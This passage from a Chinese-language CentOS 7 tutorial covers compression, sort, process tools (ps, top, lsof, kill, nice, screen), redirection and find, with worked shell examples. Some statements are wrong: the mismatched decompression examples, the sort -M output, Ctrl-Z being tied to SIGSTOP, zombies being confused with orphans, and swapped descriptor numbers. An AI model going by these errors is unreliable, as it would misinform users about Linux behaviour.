[root@localhost ~]# ls 1.txt.xz

解压:

gzip -d 文件

bzip2 -d 文件 -k 保留源文件

xz -d 文件 或 unxz 文件 -k 保留源文件

例:

[root@panda mnt]# gzip -d 1.txt.bz2
[root@localhost ~]# bzip2 -d 1.txt.bz2
[root@panda mnt]# xz -d 1.txt.bz2

9.3.2 file查看文件

file命令

作用: file - determine file type #确定文件类型

用法: file /etc/passwd

注:linux系统不根据后缀名识别文件类型

用file命令查看文件的类型。

[root@localhost ~]# file /etc/passwd
/etc/passwd: ASCII text

9.3.3 按一定规则排序查看文件

查看文件:

[root@localhost ~]# ls -ltr    按时间排序  t 表示时间,  -r 从小到大,不加r参数由大到小
[root@localhost ~]# ls -lSr  按大小排序  -r 从小到大  
[root@localhost ~]# ls -lSrh  按大小排序  -r 从小到大  ,加-h 参数,看大小,更清楚
[root@localhost ~]# ls -lS   从大到小

查看目录:

[root@localhost ~]# du -sh /etc   看某个目录大小

查看分区大小:

[root@localhost ~]# df -h  可以快速查看磁盘大小的存储空间

9.3.4 排序:处理大量数据时会用到的命令sort

例1:默认按字母规则进行排序

[root@localhost ~]# cat  /etc/passwd | sort | more

例2: 按数据排序,默认从小到大

[root@localhost ~]# vim file2   #每行随意写一些数字
2
23
231
[root@localhost ~]# sort -n file2  #-n默认从小到大  
[root@localhost ~]# sort  -r file2   #-r 反序排序(升序变成降序进行排序) 从大小到

例3:支持按月份排序

[root@localhost ~]# vim  file3  #写入以下内容
January 
March
April
February
[root@localhost ~]# sort -M file3
April
February
January 
March

例4:组合使用

-t 指定一个用来区分键位置字符

-k 后面跟数字,指定按第几列进行排序

-r 反序排序(升序变成降序进行排序)

[root@localhost ~]# sort  -t ":" -k3 -r /etc/passwd | more  #按: 做分隔符,以第3列,也就是用户UID,来从大到小排序
[root@localhost ~]# du -h  /etc | sort  -r | more  #把etc目录下所有文件,按从大到小排序

 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

第十章 Centos7系统进程管理

10.1 进程概述和ps管理进程

10.1.1 什么是进程?

进程是已启动的可执行程序的运行实例,进程有以下组成部分: • 已分配内存的地址空间; • 安全属性,包括所有权凭据和特权; • 程序代码的一个或多个执行线程; • 进程状态

程序: 二进制文件,静态 /bin/date,/usr/sbin/sshd 进程: 是程序运行的过程, 动态,有生命周期及运行状态。

下图所示的是进程的生命周期:

描述如下:

父进程复制自己的地址空间(fork [fɔ:k] 分叉)创建一个新的(子)进程结构。每个新进程分配一个唯一的进程 ID (PID),满足跟踪安全性之需。PID 和 父进程 ID (PPID)是子进程环境的元素,任何进程都可以创建子进程,所有进程都是第一个系统进程的后代。

centos5或6PID为1的进程是: init

centos7 PID为1的进程是: systemd

僵尸进程:一个进程使用fork创建子进程,如果子进程退出,而父进程并没有调用wait或waitpid获取子进程的状态信息,那么子进程的进程描述符仍然保存在系统中。这种进程称之为僵尸进程。

用自己的话表达:父进程退出了, 子进程没有退出, 那么这些子进程就没有父进程来管理了,就变成僵尸进程。

10.1. 2 进程的属性

进程ID(PID):是唯一的数值,用来区分进程

父进程的ID(PPID)

启动进程的用户ID(UID)和所归属的组(GID)

进程状态:状态分为运行R、休眠S、僵尸Z

进程执行的优先级

进程所连接的终端名

进程资源占用:比如占用资源大小(内存、CPU占用量)

10.1.3 使用ps查看进程工具

1、ps查看进程工具

例1:常用的参数:

a: 显示跟当前终端关联的所有进程

u: 基于用户的格式显示(U: 显示某用户ID所有的进程)

x: 显示所有进程,不以终端机来区分

--sort=-%mem

例2:常用的选项组合是 ps -aux

[root@localhost ~]# ps -axu | more

注: 最后一列[xxxx] 使用方括号括起来的进程是内核态的进程。 没有括起来的是用户态进程。

上面的参数输出每列含意:

USER: 启动这些进程的用户

PID: 进程的ID

%CPU 进程占用的CPU百分比; 

%MEM 占用内存的百分比; 

VSZ:进程占用的虚拟内存大小(单位:KB);

 RSS:进程占用的物理内存大小(单位:KB) ;

STAT:该程序目前的状态,Linux进程有5种基本状态:

        R :该程序目前正在运作,或者是可被运作;

        S :该程序目前正在睡眠当中 (可说是 idle 状态啦!),但可被某些讯号(signal) 唤醒。

        T :该程序目前正在侦测或者是停止了;

        Z :该程序应该已经终止,但是其父程序却无法正常的终止他,造成 zombie (疆尸) 程序的状态

        D 不可中断状态.  

5个基本状态后,还可以加一些字母,比如:Ss、R+,如下图:

它们含意如下::

N: 表示进程运行在低优先级上

L: 表示进程有页面锁定在内存中

s: 表示进程是控制进程

l: 表示进程是多线程的

+: 表示当前进程运行在前台

START:该 process 被触发启动的时间;

TIME :该 process 实际使用 CPU 运作的时间。

COMMAND:该程序的实际指令

例1: 查看进程状态

[root@localhost ~]# vim a.txt
在另一个终端执行:
[root@localhost ~]# ps -aux | grep a.txt   #查看状态 S表示睡眠状态, + 表示前台
root      4435  0.0  0.2 151752  5292 pts/1    S+   20:52   0:00 vim a.txt
root      4661  0.0  0.0 112676   996 pts/0    S+   21:05   0:00 grep --color=auto a.txt
在vim a.txt 这个终端上  按下: ctrl+z  
[1]+  已停止               vim a.txt
在另一个终端执行:
[root@localhost ~]# ps -aux | grep a.txt    #查看状态 T表示停止状态
root      4435  0.0  0.2 151752  5292 pts/1    T    20:52   0:00 vim a.txt
root      4675  0.0  0.0 112676   996 pts/0    S+   21:05   0:00 grep --color=auto a.txt

注:

ctrl-c 是发送 SIGINT 信号,终止一个进程

ctrl-z 是发送 SIGSTOP信号,挂起一个进程。将作业放置到后台(暂停)

ctrl-d 不是发送信号,而是表示一个特殊的二进制值,表示 EOF。代表输入完成或者注销

例2: D 不可中断状态

[root@localhost ~]# tar -zcvf usr-tar.gz /usr/

#然后在另一个终端不断查看状态,由S+,R+变为D+

2、ps常用的参数: ps -ef

-e 显示所有进程

-f 显示完整格式输出

我们常用的组合: ps -ef

包含的信息如下

UID: 启动这些进程的用户

PID: 进程的ID

PPID: 父进程的进程号

C: 进程生命周期中的CPU利用率

STIME: 进程启动时的系统时间

TTY: 表明进程在哪个终端设备上运行。如果显示 ?表示与终端无关,这种进程一般是内核态进程。另外, tty1-tty6 是本机上面的登入者程序,若为 pts/0 等,则表示运行在虚拟终端上的进程。

TIME: 运行进程一共累计占用的CPU时间

CMD: 启动的程序名称

例1:测试CPU使用时间。

[root@localhost ~]# dd if=/dev/zero of=/a.txt count=10 bs=100M
[root@localhost ~]# ps -axu | grep dd

注:

ps aux 是用BSD的格式来显示进程。

ps -ef 是用标准的格式显示进程

10.2 uptime查看系统负载-top动态管理进程

10.2.1 uptime查看CPU负载工具

[root@localhost ~]# uptime
13:22:30 up 20days,  2 users,  load average: 0.06, 0.60, 0.48

弹出消息含意如下:

13:22:30

当前时间

up 20days

系统运行时间 ,说明此服务器连续运行20天了

2 user

当前登录用户数

load average: 0.06, 0.60, 0.48

系统负载,即任务队列的平均长度。 三个数值分别为  1分钟、5分钟、15分钟前到现在的平均值。

任务队列的平均长度是什么?

大厅排除买票,这时队列是4:

cpu队列数为3时,如图:

任务队列的平均长度 懂:1 不懂:2

互动:例1:找出当前系统中,CPU负载过高的服务器?

服务器1: load average: 0.15, 0.08, 0.01 1核

服务器2: load average: 4.15, 6.08, 6.01 1核

服务器3: load average: 10.15, 10.08, 10.01 4核

答案:服务器2

如果服务器的CPU为1核心,则load average中的数字 >=3 负载过高,如果服务器的CPU为4核心,则load average中的数字 >=12 负载过高。

经验:单核心,1分钟的系统平均负载不要超过3,就可以,这是个经验值。

如下图: 1人只能买1张票,排第四的人可能会急。 所以我们认为超过3就升级CPU

10.2.2 top命令

[root@localhost ~]# top   #top弹出的每行信息含意如下:

第一行内容和uptime弹出的信息一样

进程和CPU的信息( 第二、三行)

当有多个CPU时,这些内容可能会超过两行。内容如下:

Tasks: 481 total

进程总数

1 running

正在运行的进程数

480 sleeping

睡眠的进程数

0 stopped

停止的进程数

0 zombie

僵尸进程数

Cpu(s): 0.0% us

系统用户进程使用CPU百分比。

0.0% sy

内核中的进程占用CPU百分比

0.0% ni

用户进程空间内改变过优先级的进程占用CPU百分比

98.7% id

空闲CPU百分比

0.0% wa

cpu等待I/0完成的时间总量。 测试: 终端1:执行:top 终端2:dd if=/dev/zero of=/a.txt count=10 bs=100M 终端3:dd if=/dev/zero of=/a.txt count=10 bs=100M 如下:

0.0% hi(了解) 硬中断消耗时间

硬中断,占的CPU百分比。1. 硬中断是由硬件产生的,比如,像磁盘,网卡,键盘,时钟等。每个设备或设备集都有它自己的IRQ(中断请求)。基于IRQ,CPU可以将相应的请求分发到对应的硬件驱动上(注:硬件驱动通常是内核中的一个子程序,而不是一个独立的进程)。# hi -> Hardware IRQ: The amount of time the CPU has been servicing hardware interrupts.

0.0% si(了解) 软中断消耗时间

软中断,占的CPU百分比。1. 通常,软中断是一些对I/O的请求。这些请求会调用内核中可以调度I/O发生的程序。对于某些设备,I/O请求需要被立即处理,而磁盘I/O请求通常可以排队并且可以稍后处理。根据I/O模型的不同,进程或许会被挂起直到I/O完成,此时内核调度器就会选择另一个进程去运行。I/O可以在进程之间产生并且调度过程通常和磁盘I/O的方式是相同。# si -> Software Interrupts.: The amount of time the CPU has been servicingsoftware interrupts.

0.0 st (steal 偷)

st:虚拟机偷取物理的时间。比如:物理机已经运行了KVM,XEN虚拟机。KVM虚拟机占用物理机的cpu时间

内存信息(第四五行)

内容如下:

Mem: 2033552k total

物理内存总量

340392k used

使用的物理内存总量

1376636k free

空闲内存总量

316524k buff/cache

用作内核缓存的内存量。 和free -k 一个意思

Swap: 2017948k total

交换区总量

0k used

使用的交换区总量

192772k free

空闲交换区总量

1518148 avail Mem

总的可利用内存是多少

注:如果swap分区,被使用,那么你的内存不够用了。

第7行进程信息

列名

含义

PID

进程id

USER

进程所有者的用户名

PR

优先级(由内核动态调整),用户不能

NI

进程优先级。 nice值。负值表示高优先级,正值表示低优先级,用户可以自己调整

VIRT(virtual memory usage)

虚拟内存,是进程正在使用的所有内存(ps中标为VSZ) VIRT:virtual memory usage 虚拟内存 1、进程“需要的”虚拟内存大小,包括进程使用的库、代码、数据等 2、假如进程申请100m的内存,但实际只使用了10m,那么它会增长100m,而不是实际的使用量

RES(resident memory usage)

是进程所使用的物理内存。实际实用内存(ps中标为RSS) RES:resident memory usage 常驻内存 1、进程当前使用的内存大小,但不包括swap out 2、包含其他进程的共享 3、如果申请100m的内存,实际使用10m,它只增长10m,与VIRT相反 4、关于库占用内存的情况,它只统计加载的库文件所占内存大小

SHR

共享内存大小,单位kb SHR:shared memory 共享内存 1、除M了自身进程的共享内存,也包括其他进程的共享内存 2、虽然进程只使用了几个共享库的函数,但它包含了整个共享库的大小 3、计算某个进程所占的物理内存大小公式:RES – SHR 4、swap out后,它将会降下来

S

进程状态。

            D=不可中断的睡眠状态

        R=运行中或可运行

S=睡眠中

       T=已跟踪/已停止

Z=僵停

%CPU

上次更新到现在的CPU时间占用百分比

%MEM

进程使用的物理内存百分比

TIME+

进程使用的CPU时间总计,单位1/100秒

COMMAND

命令名/命令行

top快捷键:

默认3s刷新一次,按s修改刷新时间

按空格 :立即刷新。

q退出

P:按CPU排序

M:按内存排序

T按时间排序

p: 进程IP,查看某个进程状态

数字键1:显示每个内核的CPU使用率

u/U:指定显示的用户

h:帮助

例1:运行top,依次演示一下top的快捷键,让大家看一下效果

例2:使用TOP动态只查看某个或某些进程的信息

找到进程ID

[root@localhost ~]# ps -axu | grep vim
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ
root      9667  0.0  0.2 143620  3344 pts/1    S<+  19:15   0:00 vim a.txt
[root@localhost ~]# top -p 9667

10.2.3 实战1:找出系统中使用CPU最多的进程

运行top , 找出使用CPU最多的进程 ,按大写的P,可以按CPU使用率来排序显示

互动:在linux系统中一个进程,最多可以使用100%cpu对吗?

如下图,可以看到dirtycow(脏牛漏洞,用于提权) 进程使用196.8%

这是你第一次看见: 1

如果你的4核心的cpu,你可以运行400%

10.2.4 lsof命令

lsof命令用于查看你进程打开的文件,打开文件的进程,进程打开的端口(TCP、UDP)

-i:列出符合条件的进程。(4、6、协议、:端口、 @ip )

-p:列出指定进程号所打开的文件;

例:

[root@localhost ~]# vim a.txt
[root@localhost ~]# ps -axu | grep a.txt
root     43641  0.8  0.2 151744  5280 pts/3    S+   18:19   0:00 vim a.txt
root     43652  0.0  0.0 112676   996 pts/1    S+   18:19   0:00 grep --color=auto a.txt
[root@localhost ~]# lsof -p  43641  #一般用于查看木马进程,在读哪些文件
[root@localhost ~]# lsof -i :22    #用于查看端口,或查看黑客开启的后门端口是哪个进程在使用

10.2.5 pstree工具使用

pstree:(display a tree of processes)以树状图显示进程,只显示进程的名字,且相同进程合并显示。

格式:pstree 或 pstree -p

以树状图显示进程,还显示进程PID。

[root@localhost ~]# pstree -p

10.3 前后台进程切换- nice进程优先级-实战screen后台执行命令

10.3.1 Linux后台进程与前台进程的区别

前台进程:是在终端中运行的命令,那么该终端就为进程的控制终端,一旦这个终端关闭,这个进程也随着消失

后台进程: 也叫守护进程(Daemon),是运行在后台的一种特殊进程,不受终端控制,它不需要与终端交互;Linux的大多数服务器就是用守护进程实现的。比如,Web服务器httpd等。

10.3.2 进程的前台与后台运行

跟系统任务相关的几个命令(了解):

&

用在一个命令的最后,可以把这个命令放到后台执行.

ctrl + z

 将一个正在前台执行的命令放到后台,并且暂停.

jobs

查看当前有多少在后台运行的进程.它是一个作业控制命令

fg(foreground process)

 将后台中的命令调至前台继续运行, 如果后台中有多个命令,可以用 fg %jobnumber将选中的命令调出,%jobnumber是通过jobs命令查到的后台正在执行的命令的序号(不是pid)  

bg(background process)

将一个在后台暂停的命令,变成继续执行; 如果后台中有多个命令,可以用bg %jobnumber将选中的命令调出,%jobnumber是通过jobs命令查到的后台正在执行的命令的序号(不是pid)

实战恢复被挂起的进程(了解)

例: vim a.txt 按下: ctrl+z

[root@localhost ~]#  vim a.txt     #打开后,然后执行 ctrl+z
[1]+  已停止               vim a.txt
[root@localhost ~]# ps -axu | grep vim 
root     43710  0.8  0.2 151744  5304 pts/3    T    18:26   0:00 vim a.txt
root     43720  0.0  0.0 112676   984 pts/3    S+   18:26   0:00 grep --color=auto vim
[root@localhost ~]# jobs      #查看当前有多少在后台运行的进程
[1]+  已停止               vim a.txt
[root@localhost ~]# fg 1   #将后台挂起的进程恢复到前台运行

10.3.3 kill关闭进程

关闭进程3个命令:kill killall pkill

kill关闭进程:kill 进程号 关闭单个进程

killall和pkill 命令用于杀死指定名字的进程

通过信号的方式来控制进程的

kill -l =====> 列出所有支持的信号(了解) 用最多的是: 9 信号

信号编号 信号名

1) SIGHUP 重新加载配置

2) SIGINT 键盘中断 crtl+c

3) SIGQUIT 退出

9) SIGKILL 强制终止

15) SIGTERM 终止(正常结束),缺省信号

18) SIGCONT 继续

19) SIGSTOP 停止

20) SIGTSTP 暂停 crtl+z

例1: kill和killall终止进程

[root@localhost ~]# kill -9 2342  
[root@localhost ~]# killall sshd
[root@localhost ~]# pkill sshd

10.3.4 进程的优先级管理

优先级取值范围为(-20,19),越小优先级越高, 默认优先级是0

命令1:nice 指定程序的运行优先级

格式:nice n command

命令2:renice 改变程序的运行优先级

格式:renice -n pid

例1:指定运行vim的优先级为5,输入内容,然后ctrl+z 挂起

[root@localhost ~]# nice -n 5 vim a.txt

[1]+  Stopped                 nice -n 5 vim a.txt

通过ps查看这个文件的PID号

[root@localhost ~]# ps aux | grep vim
root        1256  0.0  0.2  47032  8300 pts/0    TN   18:42   0:00 vim a.txt
root        1259  0.0  0.0  12136  1108 pts/0    S+   18:43   0:00 grep --color=auto vim

通过top命令查看优先级

[root@localhost ~]# top -p 26154

top - 18:44:34 up 4 min,  1 user,  load average: 0.05, 0.20, 0.10
Tasks:   1 total,   0 running,   0 sleeping,   1 stopped,   0 zombie
%Cpu(s):  0.0 us,  0.2 sy,  0.0 ni, 99.7 id,  0.0 wa,  0.0 hi,  0.2 si,  0.0 st
MiB Mem :   3901.8 total,   3418.1 free,    298.3 used,    185.3 buff/cache
MiB Swap:  16384.0 total,  16384.0 free,      0.0 used.   3389.2 avail Mem

    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
   1256 root      25   5   47032   8300   5464 T   0.0   0.2   0:00.03 vim

改变正在运行的进程的优先级

[root@localhost ~]# renice -10 1256
1256 (process ID) old priority 5, new priority -10
[root@localhost ~]# top -p 1256

top - 18:45:32 up 5 min,  1 user,  load average: 0.08, 0.18, 0.09
Tasks:   1 total,   0 running,   0 sleeping,   1 stopped,   0 zombie
%Cpu(s):  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
MiB Mem :   3901.8 total,   3418.2 free,    298.2 used,    185.4 buff/cache
MiB Swap:  16384.0 total,  16384.0 free,      0.0 used.   3389.3 avail Mem

    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
   1256 root      10 -10   47032   8300   5464 T   0.0   0.2   0:00.03 vim

10.3.5 实战:使用screen后台实时执行命令备份命令

实战场景:公司晚上需要备份1T数据,我在xshell上直接执行备份脚本back.sh可以吗? 或直接运行back.sh & 放到后台运行可以吗? 当关了xshell后,back.sh & 还在后台执行吗?

答:xshell长时间连接,如果本地网络偶尔断开或xshell不小心关闭,都会让后台运行的备份命令停止运行的。正确做法使用: srceen

10.3.6 screen概述和安装

Screen中有会话的概念,,用户可以在一个screen会话中创建多个screen窗口,在每一个screen窗口中就像操作一个真实的telnet/SSH连接窗口那样。

安装screen软件包

[root@localhost ~]# rpm -ivh /mnt/Packages/screen-4.1.0-0.23.20120314git3c2946.el7_2.x86_64.rpm

或者

[root@localhost ~]# yum -y install screen

10.3.7 screen使用方法

直接在命令行键入screen命令回车,如下图

[root@localhost ~]# screen

Screen将创建一个执行shell的全屏窗口。你可以执行任意shell程序,就像在ssh窗口中那样

例如,我们在做某个大型的操作但是突然之间断开:

实战:使用screen后台实时执行命令备份命令

[root@localhost ~]# screen #进入

[root@localhost ~]# vim a.txt #执行命令, 或执行你自己需要运行的备份命令

此时想离开一段时间,但还想让这个命令继续运行

[root@localhost ~]#      #在screen当前窗口键入快捷键Ctrl+a+d 
[detached from 44074.pts-3.localhost]        #分离出来独立的一个会话
detached  [dɪˈtætʃt]   分离,独立

半个小时之后回来了,找到该screen会话:

[root@tivf06 ~]# screen -ls    #查看已经建立的会话ID
There is a screen on:
         44074.pts-1.tivf06      (Detached)
1 Socket in /tmp/screens/S-root.

重新连接会话:

[root@localhost ~]# screen -r 44074    
root@localhost ~]# exit    #不想使用screen 会话了,执行:exit退出。

附:常用screen参数

screen -S test -> 新建一个叫test的会话

screen -ls -> 列出当前所有的会话

screen -r test -> 回到test会话

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 

 第十一章 重定向和文件的查找

LINUX下一切皆文件

文件又可分为:普通文件、目录文件、链接文件、设备文件

LINUX系统使用文件来描述各种硬件设备资源,如:/dev/sda /dev/sdb /dev/sr0

11.1 文件描述符定义

文件描述符:是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行I/O操作的系统调用都通过文件描述符;文件描述符是一个简单的非负整数,用以标明每一个被进程所打开的文件,程序刚刚启动的时候,第一个打开的文件是0,第二个是1,依此类推。也可以理解为是一个文件的身份ID

用户通过操作系统处理信息的过程中,使用的交互设备文件(键盘,鼠标,显示器)

11.1.1 输入输出标准说明

STDIN 标准输入 默认的设备是键盘 文件编号为:0

STDOUT 标准输出 默认的设备是显示器 文件编号为:1 ,也可以重定向到文件

STDERR 标准错误 默认的设备是显示器 文件编号为:2 ,也可以重定向到文件

查看一个进程打开了哪些文件?

语法: ll /proc/进程ID/fd

例1:

[root@localhost ~]# vim /etc/passwd
[root@localhost ~]# ps -axu | grep passwd
root      4602  2.1  0.2 151600  5300 pts/2    S+   15:30   0:00 vim /etc/passwd
[root@localhost ~]# ll /proc/4602/fd    #查看打开的文件
总用量 0
lrwx------ 1 root root 64 5月  14 15:30 0 -> /dev/pts/2
lrwx------ 1 root root 64 5月  14 15:30 1 -> /dev/pts/2
lrwx------ 1 root root 64 5月  14 15:30 2 -> /dev/pts/2
lrwx------ 1 root root 64 5月  14 15:30 4 -> /etc/.passwd.swp

注: 这些0,1,2,4就是文件的描述符。一个进程启动时,都会打开 3 个文件:标准输入、标准输出和标准出错处理。这3 个文件分别对应文件描述符为 0、1和2也就是宏替换 STDIN_FILENO、STDOUT_FILENO和STDERR_FILENO。

/proc/进程ID/fd #这个fd目录下,专门存文件描述符

注:对文件描述符的操作就是对文件本身的操作。 我可以直接通过操作文件描述来修改文件。

例3:查看和临时设置一个进程最多可以打开几个文件,即:一个进程可以打开的文件描述符限制[root@localhost ~]# ulimit -n #查看一个进程最多可以同时打开的文件数

1024

[root@localhost ~]# ulimit -n 2048  #修改一个进程最多可以同时打开的文件数为2048
[root@localhost ~]# ulimit -n
2048

永久修改,会在第三阶段讲系统调优时讲。

11.2 重定向的含义-管道的使用-tee命令

11.2.1 输出重定向

定义:将命令的正常输出结果保存到指定的文件中,而不是直接显示在显示器的屏幕上

重定向输出使用”>” “>>” 操作符号

语法: > 文件名 #表示将标准输出的内容,写到后面的文件中,如果此文件名已经存在,将会覆盖原文件中的内容

>> 文件名 #表示将标准输出的内容,追加到后面的文件中。若重定向的输出的文件不存在,则会新建该文件

例1:查看当前主机的CPU的类型保存到cpu.txt文件中(而不是直接显示到屏幕上)

[root@localhost ~]# cat /proc/cpuinfo > cpu.txt

例2:将内核的版本信息追加到cpu.txt

[root@localhost ~]# uname -a >> cpu.txt

例3:清空一个文件

[root@localhost ~]# > cpu.txt

11.2.2 输入重定向

例1:将命令中接收输入的途径由默认的键盘改为其他文件.而不是等待从键盘输入

[root@localhost mnt]# grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
[root@localhost mnt]# grep root < /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin

例2:mysql中数据导入

[root@localhost ~]#  mysql -uroot -p123456 < yzh.sql  #将yzh.sql导入mysql数据库中

11.2.3 EOF

EOF本意是 End Of File,表明到了文件末尾。”EOF“通常与”

例1:以

[root@bogon ~]# cat > a.txt <<EOF
> dfsd
> sdfs
> sdf
> dfs
> EOF
[root@bogon ~]# cat a.txt 
dfsd
sdfs
sdf
dfs

例2:以ccc作为分界符

[root@localhost ~]# cat a.txt <<ccc
> eof
> EOF
> ccc
[root@localhost ~]# cat a.txt 
eof
EOF

例3:在脚本中我们可以通过重定向输入来打印消息菜单

在使用的时候需要在”

[root@localhost mnt]# vim   p.sh   #写入以下内容  
#!/bin/bash
cat <<efo
========================
1.mysql
2.httpd
3.oracle
=======================
efo
[root@localhost ~]# chmod +x
[root@localhost ~]# p.sh  #查看效果

11.2.4 错误重定向

将命令执行过程中出现的错误信息 (选项或参数错误) 保存到指定的文件,而不是直接显示到显示器

作用:错误信息保存到文件

操作符: 错误重定向符号:2> ; 标准输入: 1< 或简写 < ; 标准输出: 0> 或 >

2指的是标准错误输出的文件描述符 (在使用标准的输入和输出省略了1、0 编号)

在实际应用中,错误重定向可以用来收集执行的错误信息.为排错提供依据;对于shell脚本还可以将无关紧要的错误信息重定向到空文件/dev/null中,以保持脚本输出的简洁

例1: 将错误显示的内容和正确显示的内容分开

[root@localhost mnt]# ls /etc/passwd xxx
ls: 无法访问xxx: 没有那个文件或目录
/etc/passwd
[root@localhost mnt]# ls /etc/passwd xxx > a.txt
ls: 无法访问xxx: 没有那个文件或目录
[root@localhost mnt]# cat a.txt 
/etc/passwd
[root@localhost mnt]# ls /etc/passwd xxx 2> a.txt
/etc/passwd
[root@localhost mnt]# cat a.txt 
ls: 无法访问xxx: 没有那个文件或目录

注:使用 2> 操作符时,会像使用 > 一样覆盖目标文件的内容,若追加而不覆盖文件的内容即可使用 2>> 操作符

11.2.5 null黑洞和zero空文件

1、把/dev/null看作"黑洞",所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到. 然而 /dev/null对命令行和脚本都非常的有用.

[root@localhost ~]# echo aaaa > /dev/null
[root@localhost ~]# cat /dev/null    #什么信息也看不到

2、/dev/zero在类UNIX 操作系统中, /dev/zero 是一个特殊的文件,当你读它的时候,它会提供无限的空字符(NULL, ASCII NUL, 0x00)。典型用法是用它来产生一个特定大小的空白文件。

例:使用dd命令产生一个50M的文件

参数: if 代表输入文件。如果不指定if,默认就会从stdin中读取输入。

of 代表输出文件。如果不指定of,默认就会将stdout作为默认输出。

bs 代表字节为单位的块大小。

count 代表被复制的块数。

[root@localhost mnt]# dd if=/dev/zero of=b.txt bs=1M count=50
50+0 records in
50+0 records out
52428800 bytes (52 MB) copied, 0.228653 s, 229 MB/s
[root@localhost mnt]# du -sh b.txt 
50M	b.txt
[root@localhost mnt]# cat b.txt  #什么也不显示 

例2:正确的内容写入一个文件,错误的写入一个文件

[root@localhost mnt]# ls /tmp  xxxx  >ok.txt  2> err.txt

11.2.6 &>和>&符号

&表示等同于的意思

例1:把正确和错误的消息输入到相同的位置

1>&2 把标准输出重定向到标准错误

2>&1 把标准错误重定向到标准输出,如图:

例2:把正确和错误的消息输入到相同的位置

[root@localhost mnt]# ls /tmp  xxxx  >1.txt   2>&1
或: 
[root@localhost mnt]# ls /tmp xxxx   2>2.txt  1>&2

例3:互动: 工作中shell脚本中的 >/dev/null 2>&1 是什么意思?

[root@localhost ~]# cat /etc/passwd >/dev/null 2>&1            #将标准输出和错误输出全部重定向到/dev/null中,也就是将产生的所有信息丢弃.

11.2.7 管道 | 的使用

语法:command-a | command-b | command-c | ......

注意:

1、管道命令只处理前一个命令正确输出,不处理错误输出

2、管道右边的命令,必须能够接收标准输入的数据流命令才行

3、管道符可以把两条命令连起来,它可以链接多个命令使用

[root@localhost ~]# ps -axu | grep sshd
root      1089  0.0  0.2 105996  4088 ?        Ss   20:19   0:00 /usr/sbin/sshd -D
root     43262  0.0  0.0 112680   984 pts/1    S+   21:36   0:00 grep --color=auto sshd

11.2.8 tee命令

功能:读取标准输入的数据,并将其内容输出成文件。 语法:tee [-a][--help][--version][文件...] 参数:

-a, --append 内容追加到给定的文件而非覆盖

--help  在线帮助

tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件

例1:将磁盘使用的信息写入文件

[root@localhost ~]# df -h | tee disk.log

例2:将文件系统使用的信息追加到文件

[root@localhost ~]# df -h | tee -a disk.log

注: 可以使用来记录日志

11.3 which-whereis-locate-grep-find查找命令

11.3.1 which-whereis-locate-grep find命令使用

查找文件一般有以下几个命令:

which 查看可执行文件的位置

whereis 查看可执行文件的位置及相关文件

locate 配合数据库缓存,快速查看文件位置

grep 过滤匹配,它是一个文件搜索工具

find 查找相关文件

举例:

[root@localhost ~]# which cd
/usr/bin/cd
[root@localhost ~]# whereis cd
cd: /usr/bin/cd /usr/share/man/man1/cd.1.gz /usr/share/man/man1p/cd.1p.gz
[root@localhost ~]# whereis ls
ls: /usr/bin/ls /usr/share/man/man1/ls.1.gz /usr/share/man/man1p/ls.1p.g

locate

locate命令和find -name 功能差不多,是它的另外一种写法,但是这个要比find搜索快的多,因为find命令查找的是具体目录文件,而locate它搜索的是一个数据库/var/lib/mlocate/mlocate.db,这个数据库中存有本地所有的文件信息;这个数据库是Linux自动创建并每天自动更新维护。相关的配置信息在/etc/updatedb.conf,查看定时任务信息在/etc/cron.daily/mlocate,需要对搜索的文件有读和执行权限

[root@localhost mnt]# touch /opt/test.txt
[root@localhost mnt]# locate test.txt   #发现找不到
[root@localhost mnt]# updatedb    #如果对当天文件查找,需要手动更新数据库updatedb
[root@localhost mnt]# locate test

grep查找使用

作用:过滤,它能够使用正则表达式来搜索文本,并把结果打印出来 参数:

-v 取反

-i 忽略大小写

^# 以#开头

#$ 以#结尾

^$ 空行

-n 对过滤的内容加上行号

| 或者的意思

[root@localhost ~]#  ps -aux | grep sshd | grep -v grep
root      1089  0.0  0.2 105996  4088 ?        Ss   20:19   0:00 /usr/sbin/sshd -D

[root@localhost ~]# grep bash$ /etc/passwd  #以bash结尾

[root@localhost ~]# grep "nologin\|root" /etc/passwd | wc -l
36
注: \ 表示转义符 
[root@localhost ~]# egrep "nologin|root" /etc/passwd | wc -l  #查看包括nologin或root的行
36
注:egrep 是 grep加强版本

11.3.2 find命令使用(必会,参数比较多)

格式:find pathname -options [-print]

命令字 路径名称 选项 输出

参数:

pathname: find命令所查找的目录路径,不输入代表当前目录例如用 . 来表示当前目录,用 / 来表示系统根目录。

find命令选项:

-name  按照文件名查找文件。 “名称”

-perm  按照文件权限来查找文件。666 777 等

-user  按照文件属主来查找文件

-group  按照文件所属的组来查找文件

-mtime -n / +n  按照文件的更改时间来查找文件,

- n 表示文件更改时间距现在n天以内

+ n 表示文件更改时间距现在n天以前

-type  查找某一类型的文件

b - 块设备文件

d - 目录

c - 字符设备文件

p - 管道文件

l- 符号链接文件

f - 普通文件

-size n 查找符合指定的文件大小的文件

-exec 对匹配的文件执行该参数所给出的其他linux命令, 相应命令的形式为' 命令 {} \;,注意{ }和 \;之间的空格,{}代表查到的内容

例1:查看当前目录下所有的TXT格式的文件

[root@localhost mnt]# find . -name "*.txt"
./a.txt
./yzh.txt

2、按照更改时间或访问时间等查找文件

如果希望按照更改时间来查找文件,可以使用mtime,atime或ctime选项

mtime: 文件最后一次修改的时间

atime: 最后一次访问时间

ctime: 文件的最后一次变化时间,也就是修改时间

例1:希望在root目录下查找更改时间在1天以内,被黑客修改的文件

[root@localhost ~]# find /root/ -mtime -1

c3、对查找内容执行相应命令

-exec 这个选项参数后面可以跟自定义的SHELL命令,格式如下:

例2:

[root@localhost ~]# touch {1,2,3}.back
